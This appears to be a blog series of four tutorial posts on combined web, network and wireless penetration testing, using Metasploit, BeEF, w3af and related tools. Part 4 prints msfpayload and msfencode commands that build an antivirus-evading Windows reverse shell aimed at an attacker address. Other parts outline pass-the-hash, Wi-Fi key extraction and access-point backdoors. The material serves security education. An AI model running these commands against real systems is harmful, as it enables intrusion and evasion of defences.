Penetration testing part 4

Hello guys, Let continue Pen testing series. We had already covered 3 parts now let's Cover part 4.

Point of Focus

Let’s build on the concept of combined testing

We’ll discuss useful new tools and techniques

• In Part 1, the flow was 1) wireless 2) web app 3) network
• In Part 2, the flow was 1) network 2) wireless 3) web app
• To illustrate the pragmatic and iterative nature of combined tests, we’ll alter the order this time:

1) Web App attack – Discovery and exploitation (Ratproxy, Yokoso!)

2) Network exploitation – Useful Metasploit features (msfpayload, msfencode, multi-encode options for dodging Anti-Virus)

3) Wireless attack – Wireless Geo-location, GeoWig, and “Ghost in the AP” techniques

Web App Attacks 

Ratproxy: Passive 

Interception Proxy

Ratproxy is a mostly passive scanner

– Active tests are enable-able!

• Designed to proxy traffic and scan for flaws

– Based on the interplay between client and server

• Focuses on “Web 2.0” flaws

– Includes the ability to decompile and analyze Flash objects

– Was one of the first tools to find Cross-Site Request Forgery (CSRF) flaws well

• Ratproxy allows us to combine mapping the application and running a first pass looking for flaws

• Efficiency is the key!

– Chaining Ratproxy with other interception proxies that spider the site is one of our tricks

Yokoso! Infrastructure Fingerprinting

Originally designed to be an infrastructure fingerprinter

– Delivered via XSS flaws

• Contains three parts

– Lists of interesting URIs

– JavaScript code to find those URIs in browser history

– JavaScript code to find those URIs within the target network

• These parts are usable on compromised machines

– Also come bundled for use within BeEF

• The project is looking for more help collecting interesting URIs

Network Attack 

Packaging an Attack with 

msfpayload

Use the msfpayload tool in Metasploit 3.X to turn a payload into an EXE

$ ./msfpayload windows/shell/reverse_tcp LHOST=[AttackerIPaddr] LPORT=80 X

• The X generates an executable

– There are other options, including R, for raw

• We could put the payload on a USB token, send it via e-mail, put it on a file share, etc.

– Or, I don’t know… maybe deliver it via CSRF? Just wait…

• But, won’t an AV tool detect it?

– Perhaps… so let’s encode it to evade detection!

Evading IDS/IPS/AV with msfencode

Metasploit supports encoding exploits and payloads

– In msfconsole, use “show encoders” and “ set ENCODER [encoder]”

– Or, you can use msfencode program to encode a raw payload

•  The latest trunk version supports a–c [N] option, to apply N rounds of encoding

– One of the best encoders for evasion is “x86/shikata_ga_nai” –Japanese for “nothing can be done about it”

$ ./msfpayload windows/shell/reverse_tcp LHOST=[AttackerIPaddr] LPORT=80 R | ./msfencode –e x86/shikata_ga_nai –c 4 –t exe –o payload.exe

• You need to get Metasploit ready for the inbound connection:

Wireless Attacks 

Wireless Geo-Location

Question: Where is the client device I have just exploited?

– IP address information can be misleading (VPN, static, internal networks) 

– iPhone pseudo GPS uses nearby Wi-Fi and cellular towers for location analysis

• Not enough integrated GSM/EV-DO interfaces to use cell tower locations
• Wi-Fi device location database available with the WIreless Geographic Logging Engine

– www.wigle.net, inspired by wardrivers!

What Networks Are Nearby?

Vista and OSX provide command-line tools for network discovery (no love for XP). 

WiGLE Search

Tool: GeoWig

Automates searching WiGLE for BSSIDs

• Heuristics to identify APs with similar MAC addresses

– Common in corporate WLAN deployments

Ghost in the AP

Compromised APs provide tremendous value in a pen-test

• Leveraged as a network backdoor

– Configure additional virtual SSIDs

– Cloaked SSID with authorized (or similar) 

MAC address (may go unnoticed)

• Attacker can target any VLAN accessible to compromised AP!

• Cisco Aironet device as an example, applies to many device manufacturers

Dubious Configuration

A Scenario - Example for you

Analyze Website with RatProxy… Find CSRF Flaw

Build AV-Dodging Payload & 

Place on Load CSRF Trigger

Get Victim to Access CSRF, Making Browser Load Content

Other Victim Accesses Content, 

Running Reverse Shell

Use GeoWig to Verify In-Scope & 

Use Yokoso! to Admin Devices

Attack AP and Implement “Ghost in the AP”
                               

Uf, Man This is getting quite long. Hold on a very few left.

Access Target Network from Virtual AP & Attack Servers

                              

So at last we did it. That is it. Let's conclude some point for you in the end. Combined attack vectors allow for far deeper penetration into most target networks than separate vectors
– Combining web app, network, and wireless penetration testing is very powerful
• This combination provides a much more accurate view of the business risks posed by vulnerabilities than offered by completely separate network, wireless, and web app tests.

OK then see you.  Take care Buddies. Thanks for visiting. Have nice time.

Read More

Penetration Testing - part 3

Web App Attack Tools and Techniques

Hello everyone i am continuing form where i left in last part 2. Now will discuss further more tools for penetration testing.

Web Application Audit and Attack Framework

• w3af is a well-known web attack framework

– Very similar in model to Metasploit

• w3af combines all of the necessary pieces to accomplish an entire web attack

– Mapping to determine how the application works
– Discovery to find vulnerabilities
– Exploitation to take control of a target application or its underlying server

• With network access, w3af provides an excellent framework to take our attack to the next level

w3af Console Interface

• Here is the beginning w3af’s information gathering
• We are setting up a scan of a target web application
• We are able to choose our plug-ins and targets

– Most plug-ins provide configurable options

• We can use this interface to scan an application for exploitable vulnerabilities

w3af Exploits
• w3af includes a number of web app exploits, including:
– xssBeEF is the XSS tool
– sqlmap is an entire SQL injection exploit tool
• Includes an OS shell used through SQLi
– mysqlWebShell provides shell access using SQL injection on MySQL target
– osCommandingShell is a command shell created through command injection flaws

A Combined Pen Test Scenario

Start with Client-Side Exploit of XP Box

Pivot Through XP Box to Exploit Vista Machine

RFMON Wireless Network Enumeration and Discovery

Leveraging Compromised Client Wireless Preferences

Use w3af to Scan Intranet Web Application

Retrieve PII Files from Corporate Web Server

That's it, Done. Now let's have some conclusion from this. That will help you going forward.

Conclusions

• Combined attack vectors allow for far deeper penetration into most target networks than separate vectors allow

– Combining web app, network, and wireless penetration testing isvery powerful

• This combination provides a much more accurate view of the business risks posed by vulnerabilities than offered by completely separate network, wireless, and web app tests
• We’ve looked at useful features of  Metasploit, Vista wireless power tools, and w3af
• In Part IV of this webcast trilogy, we’ll look at additional attack vectors and tools for further combining these three disciplines and discuss where this type of testing may be headed in the Future.

Read More

Penetration testing Part 2

Let’s build on the concept of combined testing

We’ll discuss useful new tools and techniques, We’ll look at how these concepts can be used in a network/wireless/web app combined pen test

Today’s Focus

• In Part 1, the flow was 1) wireless 2) web app 3) network exploitation
• To illustrate the pragmatic and iterative nature of combined tests, we’ll alter the order this time:
• Network exploitation – Useful Metasploit features (Metasploit’s builtin route command, psexec exploit, and its pass-the-hash features)
• Wireless attack – Vista wireless power tools (including VistaRFMON)
• Web App attack – Discovery and exploitation (using w3af)

Network Attack Tools and Techniques

Metasploit’s Route Command

Metasploit includes many server-side and client-side exploits

• Use Metasploit 3.x “route” command to pivot through already-exploited host

– Carries follow-on exploits and payloads across Meterpreter session

– Don’t confuse this with the Meterpreter “route” command

Metasploit’s psexec Feature

• Remember the great free psexec tool from Microsoft SysInternals?

– Allows user with admin credentials to make a remote Windows box run a

command via SMB connections

• Metasploit includes a psexec exploit with very similar features
• A pen tester can use one compromised Windows machine to cause another machine to run cmd.exe for a nice little pivot
• First, exploit victim1 with exploit1 and Meterpreter payload, then…

Metasploit’s Integrated Pass-the-Hash

• Metasploit psexec has built-in pass-the-hash capability!

– Instead of configuring psexec with the admin name and password,

just configure it with the admin name and hash dumped using priv

• First, exploit victim1 with exploit1 and Meterpreter payload, then…

Wireless Attack Tools and Technique

Vista Wireless Power Tools

Vista introduces all-new wireless stack

– Lots of new and powerful features

• NDIS 6 requires wireless drivers to support

monitor-mode packet capture

– Previously limited to Linux or commercial drivers

• Unfortunately, not exposed in any built-in applications

Capturing Vista Wireless Traffic

• With RFMON capture, attacker uses Vista host to discover and attack nets

– It's like having a remote Linux box, sort of

• Packet capture supplied by Microsoft NetMon 3.2

– Silent command-line install and capture… no reboot

• Attacker can enumerate, analyze and attack wireless networks seen by victim
• No attack tools read NetMon WLAN captures
• Solution: nm2lp

– Converts Netmon WLAN captures to libpcap format

Leveraging Vista “netsh wlan”

• Attacker can extract useful Vista WLAN config data

– WPA/2-PSK passwords, configuration settings,preferred networks, certificate store, etc.

• Can also establish new networks

– Ad-Hoc interfaces, bridged to Ethernet interfaces (requires 3rd party tool nethelper.exe w/o GUI)

– Layer 2 connection for local WLAN attacker. 

Read More

Penetration testing Part 1

Explore Penetration testing

Hello Guys, Now it the time to have something serious on my blog. Yeah, I'm taking about pen testing. You all may be aware about it. what it's, what it do, how we do it, why we need it, these might be your questions. Don't worry you will find answers to all your questions here. I will also provide you guys with the all required pen testing tools. Keep reading folks.

Types of Penetration testing:

Penetration testing is not a limited area, it's tests are often separated into different types. And what are those types are listed below.

• Network penetration tests - most widely used…
• Web application penetration tests
• Wireless penetration tests
• Social engineering tests
• Physical penetration tests

Requirements or specification for Pen testing

well, all categories define above they all have their different scope. Moreover skills and logic's that are required for them are also different. Always keep in mind it's better to have concern over one major area rather then having concern for all area and mind it result will be very much like a confused mind. I mean one major category in your mind like network, web app, wireless pen test. These are the categories you must go for which define an healthy, robust and fast growing industry.

Dealing with Specialization  

Now If you have decided that you want to be a real pen tester, i mean a good one then pick one of these categories and focus or take your action on it.

• Build your skills, zooming in on the fine-grained aspects of that kind of test
• I’ll provide tips for improving your skills in the three big categories later
• If you want to procure good pen tests, make sure you get each of these types of tests performed

Need to apply Breaks Here

Well, i mean we must carefully look into all the thing in this environment before we kick of. Remember "haste make waste". There are some significant problems in our specialization.

• being pigeon-holed career-wise From a tester’s perspective,
• Missing huge sets of vulnerabilities from “the other side” From an enterprise perspective, 
• But, perhaps most important, missing out on the risk posed by combined attacks.
• Well, As pen testers, our job is to determine business risks by modeling, to the extent possible, the activities of real-world attackers.
• Without taking a combined approach into account during testing, it can be difficult or impossible to determine and explain the true business risk associated with vulnerabilities. So combined attacks are acting as key here.
• You will think that it's common Because everyone do this.Let me guess what you thinking. here is an example

For e.g  

• First of all A pen tester finds a rogue access point and gets power to the intranet
• The tester ping sweeps and port scans, which of course finding an intranet web app
• On the internal web app, the tester finds a directory traversal flaw to read /etc/passwd, getting a list of users. but not the passwords.
• what then?. Tester then launches a password guessing attack via ssh, determines the password for an account, and then logs in with command shell access

And i will give one more example. This example is not deep i mean it circling around surface not going deep into concept. Going deeper mean to discern the true risk.

• let's Consider, using the new-found ssh access to launch a local private escalation attack to get UID 0 on the box
• Then, on the intranet web server, add content that includes browser scripts to run on admin browsers that surf there.
• Then, use those browsers to… well, let’s not get ahead of ourselves

Some Combined Attacks

Guest Wireless Networks

Many enterprises deploy wireless networks specifically for use by guests

• Conference rooms and Front entrance waiting rooms
• Most guest networks have no encryption
• Even if the traffic is encrypted, attacker could try to break the crypto key – Aircrack-ng, Cowpatty, etc.
• Sometimes, legitimate internal users rely on guest networks for a short period of time Mostly for convenience

Wireless Traffic Manipulation

• Pen-tester can manipulate clients on an open AP
• Impersonating responses, or requests

Traffic Manipulation Opportunities

DNS spoofing – inform victim that legitimate domain name maps to attacker’s IP address

• Unencrypted session manipulation (telnet, ftp, other legacy)
• HTTP response manipulation 

– Responding before legitimate site with “HTTP 302 REDIRECT”
– Responding after legitimate site, adding to HTTP response

Manipulating HTTP Responses

AirCSRF (“Air, Sea, Surf”)

• Not-yet-released tool from Garland Glessner
– Automating wireless injection for XSS

Cross-Site Scripting

Note that we’ve injected a response that will direct the browser to fetch Javascript. Associated with BeEF

– A specialized browser script attack tool

• Most wireless and network pen testers usually ignore XSS 

– “That’s just a web app thing… why would a network or wireless pen tester care about it?”

•  But, XSS provides enormous access within a network

– Hooking browsers to pivot into the network

– Using browsers to exploit other services

Using XSS to Pivot into a Network

Client machines provide new and exciting viewpoints to wireless and network penetration testers

– From the vantage point of a script inside a victim browser

Scenario For You

Suppose that a pen tester is evaluating the security of wireless networks in a pen test with a scope that includes combined attacks

• Pen tester discovers a wireless network set up for guest access from a conference room
• A legit administrator is using the guest wireless network temporarily
• Pen tester could hook that admin user’s browser, controlling it for all kinds of additional access

Internal Client Browser Used to Admin Important Systems

Use Wireless to Hook Browser

Control Browser and Fetch History

Using Hooked Browsers to Attack Other Targets

Many protocols are forgiving
– They will ignore "junk" and HTTP request headers are often considered junk!
• BeEF allows for exploitation across protocols
– From a hooked browser running attacker’s scripts, we can direct
HTTP requests to target servers
• And possibly other protocols besides HTTP: FTP, RDP, VNC, SMB, etc.
– Payload of HTTP request is a service-side exploit, to be delivered from hooked browser to target server (possibly on intranet)
• BeEF injects a BindShell as an exploit payload
• Pen tester interacts with the shell
– Through BeEF controller application
– Controller runs on pen tester's server

Use Hooked Browser to Exploit Intranet Server

BeEF Exploit Module Interface

BeEF BindShell Interface

Use Shell on Internal Server to Attack Rest of Infrastructure

Getting Up to Speed On 

Wireless Pen Testing

Get to know the protocols
– 802.11 (alphabet soup and MAC), 802.1X, EAP, RADIUS
– Know how to identify WPA, WPA2, WEP
– Wireshark is your BFF here (but not for Paris Hilton)

• Get to know attack tools and how they function

– Kismet, Metasploit, LORCON, Aircrack-ng, KARMA, Cowpatty.
– Very limited commercial tools for wireless pen-testing

• Get to know client functionality

– XP, Vista, and third-party clients all behave differently

• Did we mention Bluetooth, ZigBee, WiMax, RFID, proprietary ?

Get to know protocols

– TCP/IP, HTTP, SSL, LDAP, NetBIOS, SMB, 802.11, 802.1X, EAP

• Get to know command-lines and scripting within operating systems

– Cmd.exe 

– Bash

– Perl or Python or Ruby

• Get to know administration features of operating systems

– Windows, Linux, Unix

• Get to know exploitation tools and how exploits function

– Metasploit, Core IMPACT, Immunity Canvas

• Get to know how exploits and tools work and the languages that they are often written in

– C, C++, x86 Assembly 

Get to know the protocols

– HTTP and HTTPS (possibly others, depending on the application)

• Get to know various server-side scripting language

– ASP/.NET, Java, PHP, Cold Fusion, Perl, Ruby

– Basic web app development understanding

– Administration understanding

• Get to know client functionality

– Browsers and other third-party client software

– History, caching, cross-domain content restrictions, etc.

• Get to know client-side languages

– JavaScript, Flex, VBscript (did we mention painful?)

Read More